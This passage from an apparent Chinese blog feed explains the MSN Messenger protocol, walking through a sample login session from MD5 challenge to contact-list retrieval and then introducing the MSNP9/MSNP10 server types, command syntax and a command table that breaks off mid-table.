<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; INF 4 MD5<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&gt;&gt;&gt; USR 5 MD5 I ideal_wang@hotmail.com<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><B><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">步骤<SPAN lang=EN-US>4：</SPAN></SPAN></B><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">如果现在我们连接上的服务器有了此登录的用户的信息，服务器回应如下<SPAN lang=EN-US>:<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; USR 5 MD5 S 989048851.185113730<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">服务器发送的此字符串是“<SPAN lang=EN-US>MD5 杂乱信息</SPAN></SPAN><SPAN lang=EN-US style="mso-font-kerning: 0pt; mso-ascii-font-family: 宋体">”</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">。此杂乱信息由服务器创建并且在认证过程中使用。客户端然后向服务器发送使用<SPAN lang=EN-US>MD5运算法加密后的密码。实际上客户端向服务器发送的是一个独一无二的MD5字符串，此字符串等价于此</SPAN></SPAN><SPAN lang=EN-US style="mso-font-kerning: 0pt; mso-ascii-font-family: 宋体">“</SPAN><SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">MD5杂乱信息</SPAN><SPAN lang=EN-US style="mso-font-kerning: 0pt; mso-ascii-font-family: 宋体">”</SPAN><SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">(即989048851.185113730)+密码，本例中MD5字符串是3b7926d277068ec49576a0c40598ff21。<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&gt;&gt;&gt; USR 6 MD5 S 3b7926d277068ec49576a0c40598ff21<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">如果密码正确<SPAN lang=EN-US>,服务器将做如下回应:<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; USR 6 OK ideal_wang@hotmail.com Jun Jie<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">此处“<SPAN lang=EN-US>Jun Jie</SPAN></SPAN><SPAN lang=EN-US style="mso-font-kerning: 0pt; mso-ascii-font-family: 宋体">”</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">是用户的呢称<SPAN lang=EN-US>.<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">MSN协议的最新版本中，服务器将发送一些附加的数据,像用户的信息和一个认证码(类似于一个cookie,可以用到许多其它的功能中)：<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; MSG Hotmail Hotmail 362<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; MIME-Version:1.0<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Content-Type:text/x-msmsgspro file;charset=UT<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Login Time:1011252477<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; EmailEnabled:1<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; MemberIDHigh:84736<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; MemberIDLow:-143472939<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Lang_preference:103<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; PreferredEmail:ideal_wang@hotmail.com<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Country:IN<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; PostalCode:<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Gender:M<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Kid<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Age:22<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Sid:517<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Kv:2<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; MSPAuth:2AAAAAAAADU0p4uxxxJtDJozJS1UTS0i7YpwnCoPUHRv56YKxxxCTWmg$$<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><B><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">步骤<SPAN lang=EN-US>5：</SPAN></SPAN></B><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">经过上述步骤我们登录上了服务器，但是我们的状态仍然是离线。为了能够发送和接受信息<SPAN lang=EN-US>,我们需要把我们的状态改成在线。客户端通过如下命令完成这步：<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&gt;&gt;&gt; CHG 7 NLN<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">服务器则向客户端发送回在线的好友及其相应的状态：<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; ILN 7 NLN btxxxe@hotmail.com nick<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; ILN 7 AWY wmxxe@hotmail.com mike<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; ILN 7 BSY tehpxxp@hotmail.com jerry<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; MSG Hotmail Hotmail 223<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; MIME-Version:1.0<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Content-Type:text/x-msmsgsinitialemailnotification;charset=UTF-8<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Inbox-Unread:293<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Folders-Unread<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Inbox-URL:/cgi-bin/HoTMaiL<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Folders-URL:/cgi-bin/folders<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; Post-URL:http://www.hotmail.com<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><B><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">步骤<SPAN lang=EN-US>6：</SPAN></SPAN></B><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">向服务器发送的下一个命令是和当前使用的客户端的版本相关的<SPAN lang=EN-US>,客户端向服务器发送它的版本号和所在机器的信息像操作系统和其配置等:<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&gt;&gt;&gt; CVR 8 0x0409 win 4.10 i386 MSMSGS 4.5.0127 MSMSGS<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">0x0409 win4.10 i386 指出客户端当前的运行环境是win98,使用的是Intel的微处理器；MSMSGS 4.5.0127 MSMSGS 指出msmsgs.exe的版本号。<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">服务器回应提供下载最新版本及一些其它的信息的地址：<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; CVR 8 4.5.0127 4.5.0127 1.0.0863<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; http://download.microsoft.com/do ... /en-us/mmssetup.exe<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; http://messenger.microsoft.com<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">这个<SPAN lang=EN-US>CVR命令的发送并不是必须的,无论此命令是否发送,MSN协议都可以正确的工作.<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">&nbsp;<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">为了获得我们的好友列表<SPAN lang=EN-US>,我们可以发送如下命令<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&gt;&gt;&gt; LST 9 RL<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">服务器将相应发送回“反向列表”，此反向列表为当你在线时，可以看到你并能向你发送即时消息的用户列表。你也可以使用<SPAN lang=EN-US>LST 9 FL命令向服务器请求</SPAN></SPAN><SPAN lang=EN-US style="mso-font-kerning: 0pt; mso-ascii-font-family: 宋体">“</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">正向列表</SPAN><SPAN lang=EN-US style="mso-font-kerning: 0pt; mso-ascii-font-family: 宋体">”</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">，此正向列表包括你加入到好友列表中的所有好友。服务器所做的回应如下<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; LST 9 RL 69 1 19 ideal_wang@hotmail.com venkat<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; LST 9 RL 69 2 19 puxxxxx@hotmail.com puja<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; LST 9 RL 69 3 19 vancxxxx@hotmail.com ramachandran<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; LST 9 RL 69 4 19 moxxxxx@hotmail.com chandramouli<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; LST 9 RL 69 6 19 v_n_xxxx@hotmail.com Narakatesh<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; ........<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; LST 9 RL 69 19 19 puneetagarxxx@hotmail.com puneet<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">&nbsp;<o:p></o:p></SPAN></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=274" /> 
	  <id>http://www.openx.cn/default.asp?id=274</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MSN Messenger协议简介]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-05-25T14:25:10+08:00</updated>
	  <published>2006-05-25T14:25:10+08:00</published>
		  <summary type="html"><![CDATA[<DIV>MSN Messenger 是Microsoft开发的聊天工具，目前在国内拥有很大的用户群。使用MSN Messenger可以与他人进行文字聊天，语音对话，视频会议等即时交流，还可以通过此软件来查看联系人是否联机等。</DIV>
<DIV>1999年，Microsoft向IETF提交了一份"MSN Messenger Service 1.0 Protocol"草案，这是最初版本的MSN Messenger协议。在以后几年，该公司不再公开有关MSN Messenger协议的升级、修改细节的官方文档。但无论是开发第三方的聊天客户端软件(如Gaim, MyIM等)，还是做协议分析，必须对其通信协议有深入了解。</DIV>
<DIV>MSN Messenger的协议的最新版为第10版，简称MSNP10，对应于MSN Messenger 6.1。MSN Messenger 6.0则使用MSNP9。现在Microsoft强迫MSN Messenger用户升级到6.0或6.1版，因为服务器对MSNP8以下的版本不再支持。本文及后续文章所描述的MSN Messenger协议主要针对MSNP9/MSNP10。</DIV>
<DIV><B>1.1.1 </B><B>连</B><B>接</B></DIV>
<DIV>MSN Messenger协议建立在TCP/IP之上。除了文件传输和语音聊天是直接的"点对点"通信之外，其它所有的情形全部通过服务器进行。</DIV>
<DIV>在逻辑上，一共有三种类型的服务器，各司其职：</DIV>
<DIV>· 派遣服务器(Dispatch Server, DS) - 客户端最初连接的服务器。负责给客户端分配合适的通知服务器。域名是messenger.hotmail.com，标准服务端口是1863。完成派遣任务后，切断TCP连接。 </DIV>
<DIV>·&nbsp; 通知服务器(Notification Server, NS) - 客户端需要一直保持连接的服务器。很多任务要在这个会话内完成，包括登录、改变状态、获取用户列表、修改用户信息、发起聊天、接受呼叫、邮件通知、退出等等。服务端口由派遣服务器指定，通常也是1863。 </DIV>
<DIV>·&nbsp; 接线服务器(Switchboard Server, SS) - 客户端之间聊天使用的中转服务器。每开一个聊天窗口，客户端和服务器就建立一个TCP会话。当客户端之间需要进行文件传输或语音聊天时，发送系统消息，建 立"点对点"会话通道(可能转为使用UDP)。服务端口通常也是1863。"点对点" 通信使用的端口由客户端自动协商决定，如文件传输通常使用6891端口。 </DIV>
<DIV><B>1.1.2 </B><B>命</B><B>令</B></DIV>
<DIV>MSN Messenger命令使用纯ASCII码。对非ASCII码字符使用URL编码。命令的语法是</DIV><PRE>XXX[&lt;SP&gt;TrID&lt;SP&gt;PARAM1&lt;SP&gt;PARAM2…]&lt;CRLF&gt;</PRE>
<DIV>其中，&lt;SP&gt;是空白字符，&lt;CRLF&gt;是回车换行，XXX是一个3字符的命令串，TrID是一个流水号，PARAMx是参数，[ ]内是可选项。最简单的命令没有流水号和参数。为了方便起见，下面讨论时用" "代表&lt;SP&gt;，"\r\n"代表&lt;CRLF&gt;，"\x??"代表一个值为0x??字节。红色表示由客户端发出，蓝色表示由服务器发出。一个MSN Messenger命令的例子如下：</DIV><PRE>USR 18 TWN I example@hotmail.com\r\n</PRE>
<DIV><B>1.1.3 错误</B></DIV>
<DIV>无论是由于客户端发出的命令无效，参数无效，还是其他什么原因，服务器可以返回一个错误。格式为</DIV><PRE>XXX[&lt;SP&gt;TrID]&lt;CRLF&gt;</PRE>
<DIV>其中，XXX是一个3位数字的串。如</DIV><PRE>ADD 21 AL non_existent@passport.com non_existent@passport.com\r\n</PRE><PRE>205 21\r\n</PRE>
<DIV>上例中，non_existent@passport.com是一个不存在的账号。</DIV>
<DIV><B>1.1.4 </B><B>消息</B></DIV>
<DIV>MSN Messenger消息符合MIME 1.0标准，由消息头与消息体组成。通常使用UTF-8编码，消息头中也需要URL编码格式，消息体则直接用二进制数据。</DIV>
<DIV>一个MSN Messenger消息的例子如下：</DIV><PRE>MIME-Version: 1.0\r\n</PRE><PRE>Content-Type: text/plain; charset=UTF-8\r\n</PRE><PRE>X-MMS-IM-Format: FN=%E5%AE%8B%E4%BD%93; EF=; CO=0; CS=86; PF=0\r\n</PRE><PRE>\r\n</PRE><PRE>bhw98\xE4\xBD\xA0\xE5\xA5\xBD\xEF\xBC\x81</PRE>
<DIV>经简单分析可知，"%E5%AE%8B%E4%BD%93"是"宋体"的UTF-8加URL编码，而"bhw98\xE4\xBD\xA0\xE5\xA5\xBD\xEF\xBC\x81"是"bhw98你好！"的UTF-8编码。</DIV>
<H3 align=center>命令一览</H3>
<DIV align=center>
<TABLE cellSpacing=1 cellPadding=0 width="100%" bgColor=white border=1>
<TBODY>
<TR>
<TD>
<DIV align=center>命令</DIV></TD>
<TD>
<DIV align=center>来源</DIV></TD>
<TD>
<DIV align=center>去向</DIV></TD>
<TD>
<DIV align=center>说明</DIV></TD>
<TD>
<DIV align=center>备注</DIV></TD></TR>
<TR>
<TD>
<DIV>ACK</DIV></TD>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>确认，做出肯定回答。</DIV></TD>
<TD>
<DIV>acknowledgement</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>ADD</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>发出添加新联系人到列表的请求。</DIV></TD>
<TD rowSpan=2>
<DIV>add user</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回添加新联系人请求的应答。</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>ADG</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>发出添加新联系人组请求。</DIV></TD>
<TD rowSpan=2>
<DIV>add group</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回添加新联系人组请求的应答。</DIV></TD></TR>
<TR>
<TD>
<DIV>ANS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>接受聊天连接请求。</DIV></TD>
<TD>
<DIV>answer</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>BLP</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>设置对尚未列入明确允许/禁止的联系人列表的保密策略。</DIV></TD>
<TD rowSpan=2>
<DIV>block list privacy</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回设置保密策略请求的应答。</DIV></TD></TR>
<TR>
<TD>
<DIV>BYE</DIV></TD>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>通知客户端结束会话。</DIV></TD>
<TD>
<DIV>bye</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>CAL</DIV></TD>
<TD>
